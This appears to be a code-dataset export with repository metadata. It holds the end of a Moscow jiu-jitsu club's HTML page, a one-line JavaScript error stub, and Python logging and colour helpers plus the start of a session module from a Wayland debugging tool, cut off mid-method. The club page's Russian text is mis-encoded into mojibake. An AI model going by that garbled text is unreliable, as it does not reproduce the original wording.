ะดะตััั‚ะธะปะตั‚ะธั. ะขะฐะบ ั‡ั‚ะพ ัั‚ะพั‚ ัั‚ะธะปัŒ ะดะตะนัั‚ะฒะธั‚ะตะปัŒะฝะพ ัั‚ะฐะฝะพะฒะธั‚ัั ะดะตะปะพะผ ะฒัะตะน ะถะธะทะฝะธ.</p> \n\n <p>ะœะตะฝั ั ะดะตั‚ัั‚ะฒะฐ ั‚ัะฝัƒะปะพ ะบ ะฒะพัั‚ะพั‡ะฝั‹ะผ ะตะดะธะฝะพะฑะพั€ัั‚ะฒะฐะผ. ะฏ ะพั‡ะตะฝัŒ ะปัŽะฑะธะป ัะผะพั‚ั€ะตั‚ัŒ ัะฟะพะฝัะบะธะต ะธ ะบะธั‚ะฐะนัะบะธะต ั„ะธะปัŒะผั‹, ะธ ะผะฝะต ะฑั‹ะปะฐ ะฑะปะธะทะบะฐ ะฒะพัั‚ะพั‡ะฝะฐั ั„ะธะปะพัะพั„ะธั. ะ’ ั‚ะต ะฒั€ะตะผะตะฝะฐ ะฝะธะบะฐะบะธั… ะบะปัƒะฑะพะฒ, ะบั€ะพะผะต ัะตะบั†ะธะน ะฟะพ ะฑะพะบััƒ, ะฝะต ะฑั‹ะปะพ, ะฟะพัั‚ะพะผัƒ ะธะทะฝะฐั‡ะฐะปัŒะฝะพ ั ะธะทัƒั‡ะฐะป ะธะผะตะฝะฝะพ ะตะณะพ. ะŸะพะทะถะต ะฟะพัะฒะธะปะฐััŒ ะฒะพะทะผะพะถะฝะพัั‚ัŒ ะทะฐะฝัั‚ัŒัั ะบะฐั€ะฐั‚ั, ะฝะพ ะบะฐะบะธั…-ั‚ะพ ัะตั€ัŒะตะทะฝั‹ั… ะฒั‹ัะพั‚ ะผะฝะพะน ะดะพัั‚ะธะณะฝัƒั‚ะพ ะฝะต ะฑั‹ะปะพ.</p>\n\n <p>ะšะพะฝะบั€ะตั‚ะฝะพ ะ”ะถะธัƒ-ะ”ะถะธั‚ััƒ ั ะทะฐะฝัะปัั ะฟะพั‚ะพะผัƒ, ั‡ั‚ะพ ัั‚ะพั‚ ะดั€ะตะฒะฝะธะน ัะฐะผัƒั€ะฐะนัะบะธะน ัั‚ะธะปัŒ ัะฒะปัะตั‚ัั ะฟะพะดะปะธะฝะฝั‹ะผ ะธัะบัƒััั‚ะฒะพะผ, ะฟั€ะตะดะฝะฐะทะฝะฐั‡ะตะฝะฝั‹ะผ ะดะปั ะฑะพั ะธ ะฒะพะนะฝั‹. ะ’ ะฝั‘ะผ ะฟั€ะธะผะตะฝัะตั‚ัั ะฝะฐัั‚ะพัั‰ะตะต ะพั€ัƒะถะธะต, ั‚ะฐะบะพะต ะบะฐะบ ะปัƒะบะธ, ะบะพะฟัŒั, ะผะตั‡ะธ, ะฝะพะถะธ, ะบะธะฝะถะฐะปั‹ ะธ ะผะฝะพะณะธะต ะดั€ัƒะณะธะต. ะšะพะฝะตั‡ะฝะพ, ะฒ ะฝะฐัˆะต ะฒั€ะตะผั ัƒะถะต ะฝะตั‚ ั‚ะฐะบะพะณะพ ัˆะธั€ะพะบะพะณะพ ะธัะฟะพะปัŒะทะพะฒะฐะฝะธั ะฟะพะดะพะฑะฝะพะณะพ ะฒะพะพั€ัƒะถะตะฝะธั, ะฝะพ ั€ัƒะบะพะฟะฐัˆะฝั‹ะน ัั‚ะธะปัŒ ะฟั€ะฐะบั‚ะธั‡ะตัะบะธ ะฝะต ะธะทะผะตะฝะธะปัั ั ั‚ะตั… ะดะฐะฒะฝะธั… ะฒั€ะตะผะตะฝ.</p>\n\t\n <p>ะะฐั‡ะฐะฒ ะธะทัƒั‡ะฐั‚ัŒ ะ”ะถะธัƒ-ะ”ะถะธั‚ััƒ, ะบะฐะถะดั‹ะน ะดะตะฝัŒ ั ัƒะดะตะปัะป ะตะผัƒ ะผะฝะพะณะพ ั‡ะฐัะพะฒ. ะŸะพัะปะต ั‚ั€ั‘ั… ะปะตั‚ ะทะฐะฝัั‚ะธะน ะฝะฐั‡ะฐะป ะฟั€ะตะฟะพะดะฐะฒะฐั‚ัŒ. ะขะพะณะดะฐ ัƒ ะผะตะฝั ะฑั‹ะป ะดะพะฒะพะปัŒะฝะพ ั€ะตะทะบะธะน ัั‚ะฐั€ั‚; ั ะทะฐะฝะธะผะฐะปัั ะฒ ั‚ั€ะธ ั€ะฐะทะฐ ะฑะพะปัŒัˆะต, ั‡ะตะผ ะฒัะต ะพัั‚ะฐะปัŒะฝั‹ะต. ะกะฟะตั†ะธะฐะปัŒะฝะพ ะฟะพะฟั€ะพัะธะป ัƒั‡ะธั‚ะตะปั ะดะฐั‚ัŒ ั€ะฐะทั€ะตัˆะตะฝะธะต ะฝะฐ ะฟะพัะตั‰ะตะฝะธะต ะฝะต ั‚ะพะปัŒะบะพ ัะฒะพะตะน, ะฝะพ ะธ ะฟะฐั€ะฐะปะปะตะปัŒะฝะพะน ะณั€ัƒะฟะฟั‹. ะะฐ ะดะฐะฝะฝั‹ะน ะผะพะผะตะฝั‚ ะฟั€ะตะฟะพะดะฐัŽ ัƒะถะต ัะตะผะฝะฐะดั†ะฐั‚ัŒ ะปะตั‚, ัะตั€ัŒะตะทะฝะพ, ะฑะตะท ะฟะตั€ะตั€ั‹ะฒะพะฒ ะธ ะฟะพั‡ั‚ะธ ะบะฐะถะดั‹ะน ะดะตะฝัŒ. ะ”ะถะธัƒ-ะ”ะถะธั‚ััƒ โ€“ ะณะปะฐะฒะฝะพะต ะดะตะปะพ ะฒ ะผะพะตะน ะถะธะทะฝะธ.</p> \n\n <p>ะฏ ัั‡ะธั‚ะฐัŽ, ั‡ั‚ะพ ะปัŽะฑะพะน ะผัƒะถั‡ะธะฝะฐ โ€“ ัั‚ะพ ะฒะพะธะฝ. ะœัƒะถั‡ะธะฝะฐ ะดะพะปะถะตะฝ ัƒะผะตั‚ัŒ ะฟะพัั‚ะพัั‚ัŒ ะทะฐ ัะตะฑั, ะทะฐั‰ะธั‚ะธั‚ัŒ ัะฒะพะธั… ะฑะปะธะทะบะธั… ะธะปะธ ะฟะพะผะพั‡ัŒ ะบะพะผัƒ-ั‚ะพ ะฒ ัะปะพะถะฝะพะน ัะธั‚ัƒะฐั†ะธะธ. ะ˜ะผะตะฝะฝะพ ัั‚ะพั‚ ัะฟะพะฝัะบะธะน ัั‚ะธะปัŒ ะฟั€ะธะผะตะฝัะตั‚ัั ะผะฝะพะณะธะผะธ ัะธะปะพะฒั‹ะผะธ ัั‚ั€ัƒะบั‚ัƒั€ะฐะผะธ ะธ ัะฟะตั†ะธะฐะปัŒะฝั‹ะผะธ ะฟะพะดั€ะฐะทะดะตะปะตะฝะธัะผะธ. ะ’ ะฝั‘ะผ ะฟั€ะธััƒั‚ัั‚ะฒัƒัŽั‚ ัะปะพะถะฝั‹ะต ะฑั€ะพัะบะธ, ะทะฐั…ะฒะฐั‚ั‹, ะฑะปะพะบะธ, ัƒะดะฐั€ั‹, ัะปะตะผะตะฝั‚ั‹ ะฐะบั€ะพะฑะฐั‚ะธะบะธ ะธ ะฟั€ะธั‘ะผั‹ ัƒะดัƒัˆะตะฝะธั.</p>\n \n <p>ะ’ะฐะถะฝะพ ัะบะฐะทะฐั‚ัŒ, ั‡ั‚ะพ ะปัŽะฑะพะต ะฒะพัั‚ะพั‡ะฝะพะต ะตะดะธะฝะพะฑะพั€ัั‚ะฒะพ ั€ะฐะทะฒะธะฒะฐะตั‚ ะฝะต ั‚ะพะปัŒะบะพ ั„ะธะทะธั‡ะตัะบะธะต ะฝะฐะฒั‹ะบะธ ั‡ะตะปะพะฒะตะบะฐ. ะŸัƒั‚ั‘ะผ ะฒั‹ะฟะพะปะฝะตะฝะธั ั€ะฐะทะฝั‹ั… ะทะฐะดะฐั‡ ะธ ัƒะฟั€ะฐะถะฝะตะฝะธะน ะผั‹ ั‚ั€ะตะฝะธั€ัƒะตะผ ะฝะฐัˆัƒ ะฝะตั€ะฒะฝัƒัŽ ัะธัั‚ะตะผัƒ. ะŸะตั€ะตัั‚ัƒะฟะธะฒ ั‡ะตั€ะตะท ยซะฝะต ะผะพะณัƒยป, ะผั‹ ะฟั€ะธั…ะพะดะธะผ ะบ ะฝะพะฒะพะผัƒ ัั‚ะฐะฟัƒ ะพัะพะทะฝะฐะฝะฝะพัั‚ะธ. ะ˜ะผะตะฝะฝะพ ั‚ัƒั‚ ะผั‹ ะฟั€ะธะพะฑั€ะตั‚ะฐะตะผ ัะธะปัƒ ะฒะพะปะธ, ะฟะพะปะพะถะธั‚ะตะปัŒะฝั‹ะต ั‡ะตั€ั‚ั‹ ั…ะฐั€ะฐะบั‚ะตั€ะฐ, ัั‚ะพะนะบะพัั‚ัŒ ะธ ะทะฐะบะฐะปัะตะผ ะฝะฐัˆ ะดัƒั…ยป.</p>\n </div>\n\t\t\t\t</div>\n\t\t\t\t\n\t\t\t\t<div class=\"third bgwhite bottom-36\">\n <div class=\"b-card-big\">\n\t\t\t\t\t\t<h5>ะ ะฐัะฟะธัะฐะฝะธะต ะทะฐะฝัั‚ะธะน</h5>\n\t\t\t\t\t\t<p>ะŸะพะฝะตะดะตะปัŒะฝะธะบ: 20:00 - 21:30<br>\n ะกั€ะตะดะฐ: 20:00 - 21:30<br>\n ะŸัั‚ะฝะธั†ะฐ: 19:30 - 21:00</p>\n <h5 class=\"top-12\">ะ—ะฐะฟะธััŒ ะฒ ะบะปัƒะฑ</h5>\n\t\t\t\t\t\t<p>ะ—ะฐะฟะธัˆะธั‚ะตััŒ ะฝะฐ ะฟั€ะพะฑะฝะพะต ะทะฐะฝัั‚ะธะต ะฟะพ ั‚ะตะปะตั„ะพะฝะฐะผ:</p>\n <p class=\"serif-20\">+7 (499) 600 40 70<br>+7 (495) 600 40 70<br>+7 (495) 707 23 72</p>\n <p>ะธะปะธ ัั€ะฐะทัƒ ะทะฐั€ะตะณะธัั‚ั€ะธั€ัƒะนั‚ะตััŒ</p>\n <div class=\"inputblock-right\">\n\t\t\t\t <form>\n\t\t\t \t <input placeholder=\"ะ’ะฐัˆะต ะธะผั\" type=\"text\" /><br />\n \t\t\t <input placeholder=\"ะšะพะฝั‚ะฐะบั‚ะฝั‹ะน ั‚ะตะปะตั„ะพะฝ\" type=\"text\" /><br />\n \t\t <input placeholder=\"ะ’ะฐัˆ e-mail\" type=\"email\" /><br />\n \t\t <input placeholder=\"ะะฐะฟะธัˆะธั‚ะต ัƒะดะพะฑะฝะพะต ะฒะฐะผ ะฒั€ะตะผั ะดะปั ะทะฐะฝัั‚ะธะน\" type=\"email\" /><br />\n \t\t\t\t <textarea placeholder=\"ะŸะพะถะฐะปัƒะนัั‚ะฐ, ะฝะฐะฟะธัˆะธั‚ะต ะทะดะตััŒ ัƒะดะพะฑะฝะพะต ะฒั€ะตะผั ะดะปั ะทะฒะพะฝะบะฐ ะธะปะธ ะฒะฐัˆะธ ะฒะพะฟั€ะพัั‹ ...\"></textarea><br />\n \t\t\t <input type=\"submit\" class=\"button\" value=\"ะžั‚ะฟั€ะฐะฒะธั‚ัŒ\" />\n </form>\n </div>\t\n </div>\n <div class=\"clear\"></div>\n\t\t\t\t</div>\n\t\t\t\t\n <div class=\"clear\"></div>\n \n\t\t\t\t<div class=\"two-thirds bgwhite\">\n\t\t\t\t\t<div class=\"b-card-big\">\n <h5>ะšะพั€ะพั‚ะบะพ ะพ ะดะถะธัƒ-ะดะถะธั‚ััƒ</h5>\n \n <p>ะ”ะทัŽ-ะดะทัŽั†ัƒ (ัะฟ. ะดะทัŽ โ€“ ะผัะณะบะธะน, ัƒัั‚ัƒะฟั‡ะธะฒั‹ะน ะธ ะดะทัŽั†ัƒ โ€“ ั‚ะตั…ะฝะธะบะฐ) ะธะปะธ ะ”ะถะธัƒ-ะ”ะถะธั‚ััƒ, ะทะฐั€ะพะดะธะปะพััŒ ะฒ ยซะญะฟะพั…ัƒ ะฒะพัŽัŽั‰ะธั… ะฟั€ะพะฒะธะฝั†ะธะนยป, ะดะพัั‚ะธะณะปะพ ั€ะฐัั†ะฒะตั‚ะฐ ะฒ ะฟะตั€ะธะพะด ะฝะตะพะบะพะฝั„ัƒั†ะธะฐะฝัั‚ะฒะฐ ะธ, ะฟั€ะตั‚ะตั€ะฟะตะฒ ะฝะตะบะพั‚ะพั€ั‹ะต ะธะทะผะตะฝะตะฝะธั, ััƒั‰ะตัั‚ะฒัƒะตั‚ ะฟะพะฝั‹ะฝะต ะฒ ะฒะธะดะต ัะฟะตั†ะธะฐะปะธะทะธั€ะพะฒะฐะฝะฝั‹ั… ะฝะฐะฟั€ะฐะฒะปะตะฝะธะน ะดะปั ะฐั€ะผะธะธ, ะฟะพะปะธั†ะธะธ ะผะฝะพะณะธั… ัั‚ั€ะฐะฝ ะผะธั€ะฐ ะธ ะทะฝะฐั‡ะธั‚ะตะปัŒะฝะพ ัะผัะณั‡ะตะฝะฝะพะณะพ, ัะฟะพั€ั‚ะธะฒะฝะพะณะพ ัั‚ะธะปั.</p>\n \n <p>ะ”ะถะธัƒ-ะดะถะธั‚ััƒ ัะพะทะดะฐะฒะฐะปะพััŒ ัะฐะผัƒั€ะฐัะผะธ ะดะปั ะฑะพั€ัŒะฑั‹ ะฟั€ะพั‚ะธะฒ ัะฐะผัƒั€ะฐะตะฒ ะฝะฐ ะผะฐะปั‹ั… ะดะธัั‚ะฐะฝั†ะธัั…. ะะฐ ะผะธะฝะธะผะฐะปัŒะฝะพะผ ั€ะฐััั‚ะพัะฝะธะธ ะธัะฟะพะปัŒะทะพะฒะฐั‚ัŒ ั…ะพะปะพะดะฝะพะต ะพั€ัƒะถะธะต ะผะพะณะปะธ ะฝะตะผะฝะพะณะธะต โ€“ ั‚ะฐะบะพะน ัƒั€ะพะฒะตะฝัŒ ะฟะพะดะณะพั‚ะพะฒะบะธ ะฑั‹ะป ะผะฐะปะพะดะพัั‚ัƒะฟะตะฝ. ะฃะดะฐั€ะฝะฐั ั‚ะตั…ะฝะธะบะฐ, ะฟะพะฟัƒะปัั€ะฝะฐั ะฒ ัะพัะตะดะฝะตะผ ะšะธั‚ะฐะต, ะฑั‹ะปะฐ ะฐะฑัะพะปัŽั‚ะฝะพ ะฝะตัั„ั„ะตะบั‚ะธะฒะฝะฐ ะฟั€ะพั‚ะธะฒ ั‚ัะถะตะปั‹ั… ะดะพัะฟะตั…ะพะฒ, ะธัะฟะพะปัŒะทัƒัŽั‰ะธั…ัั ัะฟะพะฝั†ะฐะผะธ ะฒ ั‚ะพ ะฒั€ะตะผั.</p> \n <p>ะะฐะดะพ ัะบะฐะทะฐั‚ัŒ, ั‡ั‚ะพ ะธะทะฝะฐั‡ะฐะปัŒะฝะพ ะฝะตะฑะพะปัŒัˆะพะต ะบะพะปะธั‡ะตัั‚ะฒะพ ัƒะดะฐั€ะพะฒ ะฒ ั‚ะตั…ะฝะธะบะต ะ”ะทัŽ-ะ”ะทัŽั†ัƒ ะฟั€ะธััƒั‚ัั‚ะฒะพะฒะฐะปะพ. ะ’ะพ ะฒั€ะตะผะตะฝะฐ ะฝะตะพะบะพะฝั„ัƒั†ะธะฐะฝัั‚ะฒะฐ, ะบะพะณะดะฐ ะฟะพะตะดะธะฝะบะธ ะฟั€ะพะธัั…ะพะดะธะปะธ, ะฒ ะพัะฝะพะฒะฝะพะผ, ะผะตะถะดัƒ ะฝะตะฒะพะพั€ัƒะถะตะฝะฝั‹ะผะธ ะธ ะฝะต ะทะฐั‰ะธั‰ะตะฝะฝั‹ะผะธ ะดะพัะฟะตั…ะฐะผะธ ะปัŽะดัŒะผะธ, ัƒะดะฐั€ะฝั‹ะต ั‚ะตั…ะฝะธะบะธ ะฑั‹ะปะธ ะฒะพัั‚ั€ะตะฑะพะฒะฐะฝั‹.</p> <p>ะžะดะฝะฐะบะพ ะฒัะบะพั€ะต ะฒัะต ะฒะตั€ะฝัƒะปะพััŒ ะฝะฐ ะบั€ัƒะณะธ ัะฒะพั, ะธ ั‚ั€ะตะฑัƒัŽั‰ะธะต ัะปะธัˆะบะพะผ ะผะฝะพะณะพ ัะฝะตั€ะณะธะธ ัะธะปัŒะฝั‹ะต ัƒะดะฐั€ั‹ ะฑั‹ะปะธ ะฒั‹ะฒะตะดะตะฝั‹ ะธะท ะฐั€ัะตะฝะฐะปะฐ ะ”ะถะธัƒ-ะ”ะถะธั‚ััƒ. ะžัั‚ะฐะปะพััŒ ั‚ะพะปัŒะบะพ ะฝะตะฑะพะปัŒัˆะพะต ะบะพะปะธั‡ะตัั‚ะฒะพ ะบะพั€ะพั‚ะบะธั…, ะฑั‹ัั‚ั€ั‹ั… ัƒะดะฐั€ะพะฒ, ะฝะฐะฟั€ะฐะฒะปะตะฝะฝั‹ั… ะฝะฐ ะฟะพั€ะฐะถะตะฝะธะต ะถะธะทะฝะตะฝะฝะพ ะฒะฐะถะฝั‹ั… ั‚ะพั‡ะตะบ ั‚ะตะปะฐ. ะžัะฝะพะฒะฐ ะถะต ั‚ะตั…ะฝะธะบะธ ะพัั‚ะฐะฒะฐะปะฐััŒ ะฝะตะธะทะผะตะฝะฝะพะน: ะผะฐะบัะธะผะฐะปัŒะฝะพ ะฑั‹ัั‚ั€ั‹ะต ะฑั€ะพัะบะธ, ะพะฑะตะทะดะฒะธะถะธะฒะฐะฝะธะต ะธ ัƒะดัƒัˆะตะฝะธะต ะฟั€ะพั‚ะธะฒะฝะธะบะฐ.</p>\n\n <p>ะงั‚ะพ ะบะฐัะฐะตั‚ัั ะฟั€ะตะดะฐะฝะธั, ัั‚ะฐะฒัˆะตะณะพ ะพัะฝะพะฒะฝั‹ะผ ะฟั€ะธะฝั†ะธะฟะพะผ ะ”ะทัŽะดะทัŽั†ัƒ, ั‚ะพ ั€ะตั‡ัŒ ะฒ ะฝะตะผ ะธะดะตั‚ ะพ ะกะธั€ะพะฑะตะธ ะะบะฐัะผะฐ โ€“ ะฑะพะปัŒัˆะพะผ ะปัŽะฑะธั‚ะตะปะต ะทะธะผะฝะตะน ะฟั€ะธั€ะพะดั‹ โ€“ ะบะพั‚ะพั€ั‹ะน ะพะฑั€ะฐั‚ะธะป ะฒะฝะธะผะฐะฝะธะต ะฝะฐ ะฒะตั‚ะฒะธ ะธะฒั‹, ะฝะต ัะปะพะผะฐะฒัˆะธะตัั, ะฐ ะปะธัˆัŒ ัะปะตะณะบะฐ ะฟั€ะพะณะฝัƒะฒัˆะธะตัั ะฟะพะด ั‚ัะถะตัั‚ัŒัŽ ัะฝะตะณะฐ. ะšะพะณะดะฐ ัะฝะตะณ ั€ะฐัั‚ะฐัะป, ะพะบะฐะทะฐะปะพััŒ, ั‡ั‚ะพ ะธะฒะฐ ัะพะฒะตั€ัˆะตะฝะฝะพ ะฝะต ะฟะพัั‚ั€ะฐะดะฐะปะฐ, ะฐ ัั‚ะพัั‰ะธะน ั€ัะดะพะผ ะถะตัั‚ะบะธะน ะธ ะฝะตะฟั€ะตะบะปะพะฝะฝั‹ะน ะฒ ัะฒะพะตะผ ะฒะตะปะธั‡ะธะธ ะดัƒะฑ ะฟะพั‚ะตั€ัะป ะฑะพะปัŒัˆะธะฝัั‚ะฒะพ ัะฒะพะธั… ะฒะตั‚ะฒะตะน.</p> \n\n </div>\n\t\t\t\t</div>\n\t\t\t\t\n <div class=\"clear\"></div>\n\t\t\t\t\n\t\t\t</div>\n\t\t</div>\n\t</article>\n\t\n\t<article>\n\t\t<div class=\"inner\">\n\t\t\t<div class=\"full bggrey\">\n\t\t\t\t<div class=\"inner-780\">\n\t\t\t\t\t<h3>ะะฐัˆ ะบะปัƒะฑ ะฒ ัะพั†ะธะฐะปัŒะฝั‹ั… ัะตั‚ัั…</h3>\n\t\t\t\t\t<p><img alt=\"\" src=\"img/s/f.png\" /><img alt=\"\" src=\"img/s/i.png\" /><img alt=\"\" src=\"img/s/g.png\" /><img alt=\"\" src=\"img/s/v.png\" /><img alt=\"\" src=\"img/s/t.png\" /><img alt=\"\" src=\"img/s/y.png\" /></p>\n\t\t\t\t</div>\n\t\t\t</div> \n\t\t</div>\n\t\t\n\t\t<div class=\"clear\"></div>\n\t\n </article>\n\t\n\t<footer>\n\t\t<nav>\n\t\t\t<section>\n\t\t\t\t<div class=\"inner\">\n\t\t\t\t\t<ul>\n\t\t\t\t\t\t<li><a href=\"about.html\">ะœั‹</a></li>\n\t\t\t\t\t\t<li><a href=\"club.html\">ะšะปัƒะฑ</a></li>\n\t\t\t\t\t\t<li><a href=\"price.html\">ะกั‚ะพะธะผะพัั‚ัŒ</a></li>\n\t\t\t\t\t\t<li><a href=\"#win1\">ะ—ะฐะฟะธััŒ&nbsp;ะฒ&nbsp;ะบะปัƒะฑ</a></li>\n\t\t\t\t\t\t<li><a href=\"cafe-wma.html\">WMA ะบะฐั„ะต</a></li>\n\t\t\t\t\t\t<li><a href=\"#map\">ะšะพะฝั‚ะฐะบั‚ั‹</a></li>\n\t\t\t\t\t</ul>\n\t\t\t\t\t\n\t\t\t\t\t<ul>\n\t\t\t\t\t\t<li>+7 (499) 600 40 70</li>\n\t\t\t\t\t\t<li>+7 (495) 600 40 70</li>\n\t\t\t\t\t\t<li>+7 (495) 707 23 72</li>\n\t\t\t\t\t\t\t\t\t\t\t</ul>\n\t\t\t\t\t\n\t\t\t\t\t<p>ะœะพัะบะฒะฐ, ัƒะป. ะ›ะธั‚ะฒะธะฝะฐ-ะกะตะดะพะณะพ, ะด.3ะฐ</p>\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t<p>ะฃ ะฒะฐั ะตัั‚ัŒ ะฟั€ะตะดะปะพะถะตะฝะธั ะฟะพ ัƒะปัƒั‡ัˆะตะฝะธัŽ ั€ะฐะฑะพั‚ั‹ ะบะปัƒะฑะฐ? ะŸั€ะธัั‹ะปะฐะนั‚ะต!<br>ะœั‹ ะฑัƒะดะตะผ ะฒะฐะผ ะฑะปะฐะณะพะดะฐั€ะฝั‹.<br><a href=\"#win3\">[email protected]</a> <br> <br>wmaclub.ru &copy; 2015</p>\n\t\t\t\t\t\n\t\t\t\t\t<p>&nbsp;</p>\n\t\t\t\t</div>\n\t\t\t</section>\n\t\t</nav> \n\t</footer>\n\t\n <!-- ะœะพะดะฐะปัŒะฝะพะต ะžะบะฝะพ โ„–1 ะ—ะฐะฟะธััŒ ะฒ ะบะปัƒะฑ -->\n <div class=\"dm-overlay\" id=\"win1\">\n <div class=\"dm-table\">\n <div class=\"dm-cell\">\n <div class=\"dm-modal bg-modal\">\n <a href=\"#close\" class=\"close\"></a>\n <div class=\"inner\">\n <h6>ะ—ะฐะฟะธััŒ ะฒ ะบะปัƒะฑ</h6>\n <div class=\"inputblock-modal\">\n <form>\n <input placeholder=\"ะ’ะฐัˆะต ะธะผั\" type=\"text\" /><br />\n <input placeholder=\"ะšะพะฝั‚ะฐะบั‚ะฝั‹ะน ั‚ะตะปะตั„ะพะฝ\" type=\"text\" /><br />\n <input placeholder=\"ะ’ะฐัˆ e-mail\" type=\"email\" /><br />\n <input placeholder=\"ะะฐะฟะธัˆะธั‚ะต ัƒะดะพะฑะฝะพะต ะฒะฐะผ ะฒั€ะตะผั ะดะปั ะทะฐะฝัั‚ะธะน\" type=\"email\" /><br />\n <textarea placeholder=\"ะŸะพะถะฐะปัƒะนัั‚ะฐ, ะฝะฐะฟะธัˆะธั‚ะต ะทะดะตััŒ ัƒะดะพะฑะฝะพะต ะฒั€ะตะผั ะดะปั ะทะฒะพะฝะบะฐ ะธะปะธ ะฒะฐัˆะธ ะฒะพะฟั€ะพัั‹ ...\"></textarea><br />\n <input type=\"submit\" class=\"button\" value=\"ะžั‚ะฟั€ะฐะฒะธั‚ัŒ\" />\n </form>\n </div>\n </div>\n </div>\n </div>\n </div>\n </div>\n \n <!-- ะœะพะดะฐะปัŒะฝะพะต ะžะบะฝะพ โ„–3 ะŸั€ะตะดะปะพะถะตะฝะธั -->\n <div class=\"dm-overlay\" id=\"win3\">\n <div class=\"dm-table\">\n <div class=\"dm-cell\">\n <div class=\"dm-modal bg-modal\">\n <a href=\"#close\" class=\"close\"></a>\n <div class=\"inner\">\n\t\t\t<h6>ะ’ะฐัˆะธ ะฟั€ะตะดะปะพะถะตะฝะธั, ะทะฐะผะตั‡ะฐะฝะธั ะฟะพ ั€ะฐะฑะพั‚ะต ะบะปัƒะฑะฐ</h6>\n\t\t\t<div class=\"inputblock-modal\">\n\t\t\t\t<form>\n\t\t\t \t<input placeholder=\"ะ’ะฐัˆะต ะธะผั\" type=\"text\" /><br />\n \t\t\t<input placeholder=\"ะšะพะฝั‚ะฐะบั‚ะฝั‹ะน ั‚ะตะปะตั„ะพะฝ\" type=\"text\" /><br />\n \t\t<input placeholder=\"ะ’ะฐัˆ e-mail\" type=\"email\" /><br />\n \t\t<textarea placeholder=\"ะŸะพะถะฐะปัƒะนัั‚ะฐ, ะฝะฐะฟะธัˆะธั‚ะต ะฒะฐัˆะธ ะทะฐะผะตั‡ะฐะฝะธั, ะฟะพะถะตะปะฐะฝะธั ... ะ’ะฐัˆะต ะผะฝะตะฝะธะต ะฒะฐะถะฝะพ ะดะปั ะฝะฐั\"></textarea><br />\n \t\t\t<input type=\"submit\" class=\"button\" value=\"ะžั‚ะฟั€ะฐะฒะธั‚ัŒ\" />\n \t\t</form>\n \t</div>\n\t\t</div>\n </div>\n </div>\n </div>\n </div>\n</body>\n</html>" }, { "alpha_fraction": 0.8070175647735596, "alphanum_fraction": 0.8070175647735596, "avg_line_length": 57, "blob_id": "5259333e579671ebb8a44af0f02f421c7aabb985", "content_id": "d6ecd55f19d0e37217f61af85f633e650b66b260", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 57, "license_type": "permissive", "max_line_length": 57, "num_lines": 1, "path": "/static/react/build/.module-cache/0103cdbba6b386c2cd817c55e1107de27628288e.js", "repo_name": "sergeysynergy/wmaclub", "src_encoding": "UTF-8", "text": "throw new Error(\"nonexistent module required: MainMenu\");" } ]
20
Timidger/wayland-debug
https://github.com/Timidger/wayland-debug
0e83624ca7525a4becf6005c4b944b79da0822f2
ecd15ccda14335d8d9f4aa87626feda289d79653
c860f6fe11e28b5a290e2b4213713fed6a80a221
refs/heads/master
2020-04-12T20:55:01.149120
2018-12-21T19:22:22
2018-12-21T19:22:22
162,750,313
0
0
MIT
2018-12-21T19:23:04
2018-12-21T19:11:42
2018-12-21T19:03:58
null
[ { "alpha_fraction": 0.5547285676002502, "alphanum_fraction": 0.5687390565872192, "avg_line_length": 25.870588302612305, "blob_id": "a69ebcef599543bc00ed68e6a416794cd047f6f5", "content_id": "8a6c9bced135ce011e370fb1a9f536c5a52fbb48", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2284, "license_type": "permissive", "max_line_length": 96, "num_lines": 85, "path": "/util.py", "repo_name": "Timidger/wayland-debug", "src_encoding": "UTF-8", "text": "import sys\nimport re\n\ndef check_gdb():\n import importlib.util\n return importlib.util.find_spec(\"gdb\") is not None\n\nverbose = False\n\n# if we print with colors and such\ncolor_output = False\ntimestamp_color = '37'\nobject_color = '1;37'\nmessage_color = None\n\ndef set_color_output(val):\n global color_output\n color_output = val\n\n# if string is not None, resets to normal at end\ndef color(color, string):\n result = ''\n if string == '':\n return ''\n if color_output:\n if color:\n result += '\\x1b[' + color + 'm'\n else:\n result += '\\x1b[0m'\n if string:\n result += string\n if color_output and color:\n result += '\\x1b[0m'\n return result\n\ndef no_color(string):\n return re.sub('\\x1b\\[[\\d;]*m', '', string)\n\ndef log(msg):\n if verbose:\n if check_gdb():\n print(color('1;34', 'wl log: '), end='')\n print(color('37', msg))\n\ndef set_verbose(val):\n global verbose\n verbose = val\n\ndef warning(msg):\n print(color('1;33', 'Warning: ') + msg)\n\ndef str_matches(pattern, txt):\n pattern = re.escape(pattern)\n pattern = pattern.replace('\\*', '.*')\n pattern = '^' + pattern + '$'\n return len(re.findall(pattern, txt)) == 1\n\nclass Output:\n def __init__(self, verbose, show_unprocessed, show_file, err_file):\n self.verbose = verbose\n self.show_unprocessed = show_unprocessed\n self.out = show_file\n self.err = err_file\n\n def show(self, *msg):\n print(' '.join(map(lambda m: str(m), msg)), file=self.out)\n\n # Used when parsing WAYLAND_DEBUG lines and we come across output we can't parse\n def unprocessed(self, *msg):\n if self.show_unprocessed:\n self.show(color('37', ' ' * 6 + ' | ' + ' '.join(map(lambda m: str(m), msg))))\n\n def log(self, *msg):\n if self.verbose:\n print(color('37', 'wl log: ') + ' '.join(map(lambda m: str(m), msg)), file=self.out)\n\n def warn(self, *msg):\n print(color('1;33', 'Warning: ') + ' '.join(map(lambda m: str(m), msg)), file=self.err)\n\n def error(self, *msg):\n print(color('1;31', 'Error: ') + ' '.join(map(lambda m: str(m), msg)), file=self.err)\n\nif __name__ == '__main__':\n print('File meant to be imported, not run')\n exit(1)\n" }, { "alpha_fraction": 0.5274785757064819, "alphanum_fraction": 0.5325416326522827, "avg_line_length": 39.084869384765625, "blob_id": "a7bdcfe35ee2782ea12e033812e242f8b22e38dc", "content_id": "b3f21715cddffd005692961ea02286f05314fbc4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10871, "license_type": "permissive", "max_line_length": 123, "num_lines": 271, "path": "/session.py", "repo_name": "Timidger/wayland-debug", "src_encoding": "UTF-8", "text": "import re\nfrom util import *\nimport wl_data as wl\nimport matcher\n\nhelp_command_color = '1;37'\n\ndef command_format(cmd):\n if check_gdb():\n return '(gdb) ' + color(help_command_color, 'wl' + cmd)\n else:\n return '$ ' + color(help_command_color, cmd)\n\nclass Command:\n def __init__(self, name, arg, func, help_text):\n self.name = name\n self.arg = arg\n self.func = func\n self.help = help_text\n def matches(self, command):\n 